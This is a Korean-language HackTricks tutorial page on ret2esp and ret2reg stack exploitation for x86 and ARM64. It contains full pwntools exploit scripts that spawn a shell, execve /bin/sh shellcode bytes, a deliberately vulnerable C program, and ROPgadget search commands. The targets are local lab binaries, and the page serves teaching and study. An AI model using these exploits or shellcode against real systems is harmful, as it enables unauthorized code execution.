Ret2esp / Ret2reg

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Ret2esp

ESP(์Šคํƒ ํฌ์ธํ„ฐ)๊ฐ€ ํ•ญ์ƒ ์Šคํƒ์˜ ๋งจ ์œ„๋ฅผ ๊ฐ€๋ฆฌํ‚ค๊ธฐ ๋•Œ๋ฌธ์—, ์ด ๊ธฐ์ˆ ์€ EIP(๋ช…๋ น ํฌ์ธํ„ฐ)๋ฅผ jmp esp ๋˜๋Š” call esp ๋ช…๋ น์˜ ์ฃผ์†Œ๋กœ ๊ต์ฒดํ•˜๋Š” ๊ฒƒ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ์…ธ์ฝ”๋“œ๊ฐ€ ๋ฎ์–ด์“ด EIP ๋ฐ”๋กœ ๋’ค์— ๋ฐฐ์น˜๋ฉ๋‹ˆ๋‹ค. ret ๋ช…๋ น์ด ์‹คํ–‰๋˜๋ฉด ESP๋Š” ๋‹ค์Œ ์ฃผ์†Œ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋ฉฐ, ์ •ํ™•ํžˆ ์…ธ์ฝ”๋“œ๊ฐ€ ์ €์žฅ๋œ ์œ„์น˜์ž…๋‹ˆ๋‹ค.

**์ฃผ์†Œ ๊ณต๊ฐ„ ๋ฐฐ์น˜ ๋ฌด์ž‘์œ„ํ™”(ASLR)**๊ฐ€ Windows ๋˜๋Š” Linux์—์„œ ํ™œ์„ฑํ™”๋˜์ง€ ์•Š์€ ๊ฒฝ์šฐ, ๊ณต์œ  ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์—์„œ ๋ฐœ๊ฒฌ๋œ jmp esp ๋˜๋Š” call esp ๋ช…๋ น์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ASLR๊ฐ€ ํ™œ์„ฑํ™”๋œ ๊ฒฝ์šฐ, ์ด๋Ÿฌํ•œ ๋ช…๋ น์„ ์ฐพ๊ธฐ ์œ„ํ•ด ์ทจ์•ฝํ•œ ํ”„๋กœ๊ทธ๋žจ ์ž์ฒด๋ฅผ ์‚ดํŽด๋ด์•ผ ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค(๊ทธ๋ฆฌ๊ณ  PIE๋ฅผ ๋ฌด๋ ฅํ™”ํ•ด์•ผ ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค).

๊ฒŒ๋‹ค๊ฐ€ EIP ์†์ƒ ์ดํ›„์— ์…ธ์ฝ”๋“œ๋ฅผ ๋ฐฐ์น˜ํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์€, ์Šคํƒ์˜ ์ค‘๊ฐ„์ด ์•„๋‹Œ, ํ•จ์ˆ˜์˜ ์ž‘๋™ ์ค‘์— ์‹คํ–‰๋˜๋Š” push ๋˜๋Š” pop ๋ช…๋ น์ด ์…ธ์ฝ”๋“œ์— ๊ฐ„์„ญํ•˜์ง€ ์•Š๋„๋ก ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค. ์…ธ์ฝ”๋“œ๊ฐ€ ํ•จ์ˆ˜์˜ ์Šคํƒ ์ค‘๊ฐ„์— ๋ฐฐ์น˜๋˜์—ˆ๋‹ค๋ฉด ์ด๋Ÿฌํ•œ ๊ฐ„์„ญ์ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ณต๊ฐ„ ๋ถ€์กฑ

RIP๋ฅผ ๋ฎ์–ด์“ด ํ›„์— ์“ธ ๊ณต๊ฐ„์ด ๋ถ€์กฑํ•œ ๊ฒฝ์šฐ(์•„๋งˆ๋„ ๋ช‡ ๋ฐ”์ดํŠธ ์ •๋„), ์ดˆ๊ธฐ jmp ์…ธ์ฝ”๋“œ๋ฅผ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ž‘์„ฑํ•˜์‹ญ์‹œ์˜ค:

sub rsp, 0x30
jmp rsp

์Šคํƒ์˜ ์ดˆ๊ธฐ์— ์‰˜์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜์„ธ์š”.

์˜ˆ์‹œ

์ด ๊ธฐ์ˆ ์˜ ์˜ˆ์‹œ๋Š” https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ตœ์ข… ์ต์Šคํ”Œ๋กœ์ž‡์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')

pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()

์ด ๊ธฐ์ˆ ์˜ ๋˜ ๋‹ค๋ฅธ ์˜ˆ๋Š” https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html์—์„œ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. NX๊ฐ€ ํ™œ์„ฑํ™”๋˜์ง€ ์•Š์€ ์ƒํƒœ์—์„œ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๊ฐ€ ๋ฐœ์ƒํ•˜๋ฉฐ, $esp์˜ ์ฃผ์†Œ๋ฅผ ์ค„์ด๊ธฐ ์œ„ํ•ด ๊ฐ€์ ฏ์ด ์‚ฌ์šฉ๋˜๊ณ , ๊ทธ ๋‹ค์Œ jmp esp;๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์…ธ์ฝ”๋“œ๋กœ ์ ํ”„ํ•ฉ๋‹ˆ๋‹ค:

# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *

# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')

# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Establish our rop gadgets

# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)

# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)

# Make the payload

payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget

# Send our payload
target.sendline(payload)

# Drop to an interactive shell
target.interactive()

Ret2reg

์œ ์‚ฌํ•˜๊ฒŒ, ํ•จ์ˆ˜๊ฐ€ ์‰˜์ฝ”๋“œ๊ฐ€ ์ €์žฅ๋œ ์ฃผ์†Œ๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋Š” ๊ฒฝ์šฐ, call eax ๋˜๋Š” jmp eax ๋ช…๋ น์–ด(์ผ๋ช… ret2eax ๊ธฐ๋ฒ•)๋ฅผ ํ™œ์šฉํ•˜์—ฌ ์‰˜์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ๋˜ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. eax์™€ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ, ํฅ๋ฏธ๋กœ์šด ์ฃผ์†Œ๋ฅผ ํฌํ•จํ•˜๋Š” ๋‹ค๋ฅธ ๋ ˆ์ง€์Šคํ„ฐ๋„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (ret2reg).

์˜ˆ์‹œ

์—ฌ๊ธฐ ๋ช‡ ๊ฐ€์ง€ ์˜ˆ์‹œ๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

ARM64

Ret2sp

ARM64์—์„œ๋Š” SP ๋ ˆ์ง€์Šคํ„ฐ๋กœ ์ ํ”„ํ•˜๋Š” ๋ช…๋ น์–ด๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค. SP๋ฅผ ๋ ˆ์ง€์Šคํ„ฐ๋กœ ์ด๋™ํ•œ ๋‹ค์Œ ํ•ด๋‹น ๋ ˆ์ง€์Šคํ„ฐ๋กœ ์ ํ”„ํ•˜๋Š” ๊ฐ€์ ฏ์„ ์ฐพ๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, ์ œ ์นผ๋ฆฌ์˜ libc์—์„œ๋Š” ๊ทธ๋Ÿฐ ๊ฐ€์ ฏ์„ ์ฐพ์„ ์ˆ˜ ์—†์—ˆ์Šต๋‹ˆ๋‹ค:

for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done

๋‚ด๊ฐ€ ๋ฐœ๊ฒฌํ•œ ์œ ์ผํ•œ ๋ฐฉ๋ฒ•์€ sp๊ฐ€ ์ ํ”„ํ•˜๊ธฐ ์ „์— ๋ณต์‚ฌ๋œ ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ์˜ ๊ฐ’์„ ๋ณ€๊ฒฝํ•˜๋Š” ๊ฒƒ์ด์—ˆ๋‹ค(๊ทธ๋ž˜์„œ ๊ทธ๊ฒƒ์€ ์“ธ๋ชจ์—†๊ฒŒ ๋œ๋‹ค):

Ret2reg

๋ ˆ์ง€์ŠคํŠธ๋ฆฌ์— ํฅ๋ฏธ๋กœ์šด ์ฃผ์†Œ๊ฐ€ ์žˆ๋‹ค๋ฉด ์ ์ ˆํ•œ ๋ช…๋ น์–ด๋ฅผ ์ฐพ์•„์„œ ๊ทธ ์ฃผ์†Œ๋กœ ์ ํ”„ํ•  ์ˆ˜ ์žˆ๋‹ค. ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฒƒ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค:

ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";

ARM64์—์„œ๋Š” **x0**๊ฐ€ ํ•จ์ˆ˜์˜ ๋ฐ˜ํ™˜ ๊ฐ’์„ ์ €์žฅํ•˜๋ฏ€๋กœ, x0๊ฐ€ ์‚ฌ์šฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ๋ฒ„ํผ์˜ ์ฃผ์†Œ๋ฅผ ์ €์žฅํ•˜๊ณ  ์žˆ์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด ๋ฒ„ํผ์—๋Š” ์‹คํ–‰ํ•  ์‰˜์ฝ”๋“œ๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ์ œ ์ฝ”๋“œ:

// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack

#include <stdio.h>
#include <string.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}

char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}

int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}

ํ•จ์ˆ˜์˜ ๋””์Šค์–ด์…ˆ๋ธ”๋ฆฌ๋ฅผ ํ™•์ธํ•˜๋ฉด ๋ฒ„ํผ์— ๋Œ€ํ•œ ์ฃผ์†Œ(bof์— ์ทจ์•ฝํ•˜๊ณ  ์‚ฌ์šฉ์ž์— ์˜ํ•ด ์ œ์–ด๋จ)๊ฐ€ x0์— ์ €์žฅ๋œ ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ์—์„œ ๋ฐ˜ํ™˜ํ•˜๊ธฐ ์ „์—:

๋˜ํ•œ do_stuff ํ•จ์ˆ˜์—์„œ br x0 ๊ฐ€์ ฏ์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

์ด์ง„ ํŒŒ์ผ์ด PIE ์—†์ด ์ปดํŒŒ์ผ๋˜์—ˆ๊ธฐ ๋•Œ๋ฌธ์— ํ•ด๋‹น ๊ฐ€์ ฏ์„ ์ ํ”„ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค. ํŒจํ„ด์„ ์‚ฌ์šฉํ•˜์—ฌ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ์˜ ์˜คํ”„์…‹์ด 80์ž„์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ ์ต์Šคํ”Œ๋กœ์ž‡์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

from pwn import *

p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')

stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0

p.sendline(payload)
p.interactive()

Warning

๋งŒ์•ฝ fgets ๋Œ€์‹  **read**์™€ ๊ฐ™์€ ๊ฒƒ์„ ์‚ฌ์šฉํ–ˆ๋‹ค๋ฉด, ๋ฆฌํ„ด ์ฃผ์†Œ์˜ ๋งˆ์ง€๋ง‰ 2 ๋ฐ”์ดํŠธ๋งŒ ๋ฎ์–ด์“ฐ๋Š” ๊ฒƒ์œผ๋กœ br x0; ๋ช…๋ น์–ด๋กœ ๋Œ์•„๊ฐˆ ์ˆ˜ ์žˆ์—ˆ์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ „์ฒด ์ฃผ์†Œ๋ฅผ ์•Œ ํ•„์š”๊ฐ€ ์—†์—ˆ์Šต๋‹ˆ๋‹ค.
fgets๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๋์— null (0x00) ๋ฐ”์ดํŠธ๊ฐ€ ์ถ”๊ฐ€๋˜๊ธฐ ๋•Œ๋ฌธ์— ์ž‘๋™ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

Protections

  • NX: ์Šคํƒ์ด ์‹คํ–‰ ๊ฐ€๋Šฅํ•˜์ง€ ์•Š๋‹ค๋ฉด, ์Šคํƒ์— ์‰˜์ฝ”๋“œ๋ฅผ ๋ฐฐ์น˜ํ•˜๊ณ  ์ด๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ์ ํ”„ํ•ด์•ผ ํ•˜๋ฏ€๋กœ ๋„์›€์ด ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
  • ASLR & PIE: ์ด๋Ÿฌํ•œ ๊ฒƒ๋“ค์€ esp ๋˜๋Š” ๋‹ค๋ฅธ ๋ ˆ์ง€์Šคํ„ฐ๋กœ ์ ํ”„ํ•  ์ˆ˜ ์žˆ๋Š” ๋ช…๋ น์–ด๋ฅผ ์ฐพ๊ธฐ ์–ด๋ ต๊ฒŒ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ